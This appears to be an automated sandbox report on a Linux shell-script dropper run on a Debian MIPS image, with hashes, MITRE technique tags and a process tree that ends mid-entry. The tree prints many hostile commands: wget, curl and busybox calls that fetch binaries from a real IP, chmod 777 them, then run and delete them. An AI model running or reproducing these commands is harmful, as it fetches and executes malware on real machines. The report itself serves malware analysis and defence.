aa660012227ebc6c0ca9ee84cda1e9441e472474743484aa5833e042ed21ba9b

Analysis

max time kernel
57s
max time network
58s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
08/11/2024, 01:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
Size 10KB
Sample241108-cdnyys1rfv
SHA256 d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982
MD5 fa4dbb1430d89cfe91017326f4db49b1
SHA1 7d47c3c5edca38d91b76e48df8b267bcba1fa89f
SHA512 771ba2a17fd0e9c475bcebeef445ed17d83bd9baf2d8eca3c0094ade3e1993a32203f0a00fc9f941cdf6c5b82d63379ada249c9bc6a8de3c577261a7b8c55462
SSDEEP 96:zpmKXwQfHdbXbvbabDbXboM/iG28q63iyfLHHXmpbXbvbabDbXbeM9NNSiG28q6b:zpmKXwQfHzDkisLBkmKXwQh
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
872	chmod
890	chmod
899	chmod
935	chmod
929	chmod
941	chmod
947	chmod
755	chmod
791	chmod
965	chmod
764	chmod
866	chmod
917	chmod
824	chmod
843	chmod
977	chmod
905	chmod
911	chmod
953	chmod
983	chmod
749	chmod
817	chmod
878	chmod
923	chmod
959	chmod
989	chmod
884	chmod
971	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L	curl
File opened for modification	/tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz	curl
File opened for modification	/tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi	curl
File opened for modification	/tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf	curl
File opened for modification	/tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7	curl
File opened for modification	/tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO	curl
File opened for modification	/tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ	curl
File opened for modification	/tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu	curl
File opened for modification	/tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7	curl
File opened for modification	/tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ	curl
File opened for modification	/tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz	curl
File opened for modification	/tmp/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840	curl
File opened for modification	/tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj	curl
File opened for modification	/tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1	curl
File opened for modification	/tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc	curl
File opened for modification	/tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd	curl
File opened for modification	/tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf	curl
File opened for modification	/tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L	curl
File opened for modification	/tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1	curl
File opened for modification	/tmp/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840	curl
File opened for modification	/tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj	curl
File opened for modification	/tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd	curl
File opened for modification	/tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc	curl
File opened for modification	/tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO	curl
File opened for modification	/tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu	curl
File opened for modification	/tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi	curl
File opened for modification	/tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1	curl
File opened for modification	/tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1	curl

/tmp/d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
/tmp/d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
1⤵
PID:718
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:722
- /usr/bin/wget
  wget http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  PID:725
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  PID:747
- /bin/chmod
  chmod 777 wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  ./wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  PID:751
- /usr/bin/wget
  wget http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  PID:754
- /bin/chmod
  chmod 777 gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  ./gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  - Executes dropped EXE
  PID:756
- /bin/rm
  rm gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  PID:757
- /usr/bin/wget
  wget http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  PID:758
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  PID:760
- /bin/chmod
  chmod 777 RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  ./RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  - Executes dropped EXE
  PID:766
- /bin/rm
  rm RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  PID:769
- /usr/bin/wget
  wget http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  PID:770
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:777
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  PID:785
- /bin/chmod
  chmod 777 GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  ./GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  - Executes dropped EXE
  PID:792
- /bin/rm
  rm GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  PID:795
- /usr/bin/wget
  wget http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  PID:813
- /bin/chmod
  chmod 777 EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  ./EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  PID:820
- /usr/bin/wget
  wget http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  PID:823
- /bin/chmod
  chmod 777 dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  ./dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  PID:826
- /usr/bin/wget
  wget http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  PID:837
- /bin/chmod
  chmod 777 nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  ./nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  PID:848
- /usr/bin/wget
  wget http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  PID:849
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  PID:865
- /bin/chmod
  chmod 777 ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  ./ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  PID:868
- /usr/bin/wget
  wget http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  PID:871
- /bin/chmod
  chmod 777 J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  ./J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  PID:874
- /usr/bin/wget
  wget http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  PID:877
- /bin/chmod
  chmod 777 WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  ./WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  PID:880
- /usr/bin/wget
  wget http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  PID:883
- /bin/chmod
  chmod 777 aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  ./aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  PID:886
- /usr/bin/wget
  wget http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  PID:889
- /bin/chmod
  chmod 777 0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  ./0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm 0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  PID:892
- /usr/bin/wget
  wget http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  PID:898
- /bin/chmod
  chmod 777 MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  ./MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  - Executes dropped EXE
  PID:900
- /bin/rm
  rm MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  PID:901
- /usr/bin/wget
  wget http://87.120.84.230/bins/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  PID:902
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:903
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  PID:904
- /bin/chmod
  chmod 777 cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  ./cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  PID:907
- /usr/bin/wget
  wget http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  PID:908
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  PID:910
- /bin/chmod
  chmod 777 EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  ./EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
  2⤵
  PID:913
- /usr/bin/wget
  wget http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  PID:914
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:915
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  PID:916
- /bin/chmod
  chmod 777 GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  ./GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
  2⤵
  PID:919
- /usr/bin/wget
  wget http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  PID:920
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  PID:922
- /bin/chmod
  chmod 777 J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  ./J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
  2⤵
  PID:925
- /usr/bin/wget
  wget http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  PID:928
- /bin/chmod
  chmod 777 dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  ./dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
  2⤵
  PID:931
- /usr/bin/wget
  wget http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  PID:932
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  PID:934
- /bin/chmod
  chmod 777 nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  ./nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
  2⤵
  PID:937
- /usr/bin/wget
  wget http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  PID:938
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  PID:940
- /bin/chmod
  chmod 777 ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  - File and Directory Permissions Modification
  PID:941
- /tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  ./ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  - Executes dropped EXE
  PID:942
- /bin/rm
  rm ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
  2⤵
  PID:943
- /usr/bin/wget
  wget http://87.120.84.230/bins/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  PID:944
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:945
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  PID:946
- /bin/chmod
  chmod 777 cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  ./cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
  2⤵
  PID:949
- /usr/bin/wget
  wget http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  PID:950
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  PID:952
- /bin/chmod
  chmod 777 WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  ./WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  - Executes dropped EXE
  PID:954
- /bin/rm
  rm WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
  2⤵
  PID:955
- /usr/bin/wget
  wget http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  PID:956
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:957
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  PID:958
- /bin/chmod
  chmod 777 aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  ./aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  - Executes dropped EXE
  PID:960
- /bin/rm
  rm aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
  2⤵
  PID:961
- /usr/bin/wget
  wget http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  PID:962
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:963
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  PID:964
- /bin/chmod
  chmod 777 0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  - File and Directory Permissions Modification
  PID:965
- /tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  ./0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  - Executes dropped EXE
  PID:966
- /bin/rm
  rm 0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
  2⤵
  PID:967
- /usr/bin/wget
  wget http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  PID:968
- /usr/bin/curl
